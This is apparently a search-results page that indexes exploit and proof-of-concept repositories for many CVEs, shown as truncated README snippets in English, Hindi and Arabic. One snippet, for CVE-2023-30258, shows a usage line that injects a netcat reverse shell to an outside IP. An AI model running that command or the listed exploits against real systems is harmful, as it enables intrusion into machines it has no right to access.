993085 matches found
Chamilo-CVE-2023-4220-RCE-Exploit
CVE-2023-4220 Chamilo LMS Unauthenticated Big Upload File Remote Code Execution Overview This repository contains a proof-of-concept PoC exploit for the vulnerability identified as CVE-2023-4220 in Chamilo LMS. This exploit leverages an unauthenticated file upload vulnerability, allowing remote...
CVE-2019-3980
CVE-2019-3980 CVE-2019-3980 का शोषण win32/c++ में लिखा गया openssl निर्भरता। इसका पोर्ट: https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py निर्देश इस PoC को स्टैटिक रूप से लिंक की गई openssl लाइब्रेरीज़ की आवश्यकता है। openssl includes को thirdparty\include\opens...
CVE-2024-49379
CVE-2024-49379 के लिए प्रूफ ऑफ कॉन्सेप्ट PoC यह रिपॉजिटरी UmbrelOS में पहचाने गए एक गंभीर कमजोरी के लिए Python-आधारित प्रूफ ऑफ कॉन्सेप्ट PoC प्रदान करती है। यह कमजोरी क्रॉस-साइट स्क्रिप्टिंग XSS की अनुमति देती है, जो विशिष्ट परिस्थितियों में रिमोट कोड निष्पादन RCE तक बढ़ सकती है। अवलोकन CVE :...
CVE-2024-10586
CVE-2024-10586 Debug Tool = 2.2 - إنشاء ملفات عشوائية بدون مصادقة الوصف: تكون إضافة Debug Tool لـ WordPress عرضة لإنشاء ملفات عشوائية بسبب عدم وجود فحص للصلاحيات في الدالة dbtpullimage وعدم وجود تحقق من نوع الملف في جميع الإصدارات حتى الإصدار 2.2. وهذا يتيح للمهاجمين غير المصادق عليهم إنشاء ملفات...
CVE-2022-1040
CVE-2022-1040-sophos-rce-poc sophos rce poc sophos webmin portal auth bypass and rce all in one script; The vulnerability affects Sophos Firewall v18.5 MR3 18.5.3 and older Mitigation: update to latest version asap https://support.sophos.com/support/s/article/KB-000043853?language=enUS to avoid...
POC-IngressNightmare-CVE-2025-1974
POC of IngressNightmare CVE-2025-1974 Developed from: https://github.com/yoshino-s/CVE-2025-1974 https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Talk is cheap, just look at the code. Detailed can be found at https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Usage 1...
CVE-2023-30258-RCE-POC
CVE-2023-30258-RCE-POC POC for CVE-2023-30258-RCE by n0o0b Usage root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd C...
cve-2024-6387-poc
cve-2024-6387-poc OpenSSH के सर्वर sshd में एक सिग्नल हैंडलर रेस कंडीशन 7etsuo विवरण CVE-2024-6387 के लिए एक एक्सप्लॉइट, जो glibc-आधारित लिनक्स सिस्टम पर OpenSSH के सर्वर sshd में एक सिग्नल हैंडलर रेस कंडीशन को लक्षित करता है। यह कमजोरी SIGALRM हैंडलर में async-signal-unsafe फंक्शन्स को कॉल किए...
CVE-2025-32579
⚠️ CVE-2025-32579 - Sync Posts प्लगइन WordPress के माध्यम से गंभीर RCE 📦 प्रभावित: Sync Posts 🧨 CVSS स्कोर: 9.9 गंभीर 📁 CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 🧠 भेद्यता अवलोकन SoftClever Limited द्वारा Sync Posts WordPress प्लगइन अप्रतिबंधित फ़ाइल अपलोड भेद्यता से ग्रस्त है जो...
RCE-PoC-CVE-2021-25646
CVE-2021-25646 Proof-of-Concept Go Version Overview This repository contains a proof-of-concept PoC exploit for CVE-2021-25646, a critical remote code execution vulnerability in Apache Druid. The exploit is written in Go and allows for interactive command injection via the terminal. Features...
CVE-2022-35914_poc
CVE-2022-35914poc مُعدّل لمختبر GLPI Offsec Lab: calluserfunc, arraymap, passthru المراجع مُعدّل ليعمل مع مختبر Proving Grounds Practice: GLPI https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr https://github.com/cosad3s/CVE-2022-35914-poc/blob/main/CVE-2022-35914.py مقا...
CVE-2026-82544
A flaw has been found in wger-project wger up to 2.6.0-alpha2. This issue affects the function resetuserpassword of the file wger/gym/views/gym.py of the component Password Reset. Executing a manipulation can lead to cross-site request forgery. It is possible to launch the attack remotely. This...
CVE-2024-29050
CVE-2024-29050 CVE-2024-29050 विंडोज की क्रिप्टोग्राफ़िक सेवाओं में एक सुरक्षा कमजोरी है, विशेष रूप से क्रिप्टोग्राफ़िक कार्यों के दौरान प्रमाणपत्रों को संसाधित करने के तरीके में। यह समस्या एक इंटीजर ओवरफ़्लो से उत्पन्न होती है, जो तब होता है जब फ़ाइल आकार या बफ़र लंबाई जैसे डेटा पर गणनाएँ किसी...
Telerik-UI-ASP.NET-AJAX-Exploitation
Telerik-UI-ASP.NET-AJAX-Exploitation رفع الملفات غير المقيد عبر التشفير الضعيف للنسخ المتأثرة CVE-2017-11317 2. تنفيذ التعليمات البرمجية عن بُعد عبر إلغاء التسلسل غير الآمن - CVE-2019-18935...
CVE-2021-24884
CVE-2021-24884 XSS2RCE in Formidable 4.09.04 Formidable 4.09.04 allowed to inject certain HTML Tags like ,,, and . This could allow an unauthenticated, remote attacker to exploit a HTML-injection by injecting a malicous link. The HTML-injection may trick authenticated users to follow the link. If...
CVE-2022-2274
OpenSSL-src Heap Memory Corruption with RSA Private Key Operation : CVE-2022-2274 Summary OpenSSL-src-rust is a source code and logic to build OpenSSL from source written in rust and packaged as a crate. There are currently two maintained branches, matching the two maintained OpenSSL versions whi...
CVE-2023-50780
CVE-2023-50780: Dangerous MBeans Accessible via Jolokia API in Apache ActiveMQ Artemis By listing and inspecting the MBeans exposed by the Jolokia API at http://127.0.0.1:8161/console/jolokia the following attack vectors have been identified: Arbitrary File Write using Log4J indirectly resulting ...
CVE-2022-3552
CVE-2022-3552 In order to exploit the vulnerability in BoxBlilling, the version will have to be: "BoxBilling=4.22.1.5" and you will have to have valid admin credentials. If you have the situation above, here are the steps you have to take in order to get the juicy RCE: Create a python virtual...
CVE-2025-50472
CVE-2025-50472 ModelScope Ms-Swift ModelFileSystemCache अविश्वसनीय डेटा के डिसेरियलाइज़ेशन से रिमोट कोड निष्पादन भेद्यता RCE PoC मैंने परीक्षण उद्देश्यों के लिए ModelScope पर एक दुर्भावनापूर्ण .mdl फ़ाइल वाला कोड रिपॉजिटरी अपलोड किया। इसका उपयोग सीधे परीक्षण के दौरान किया जा सकता है। लिंक है:...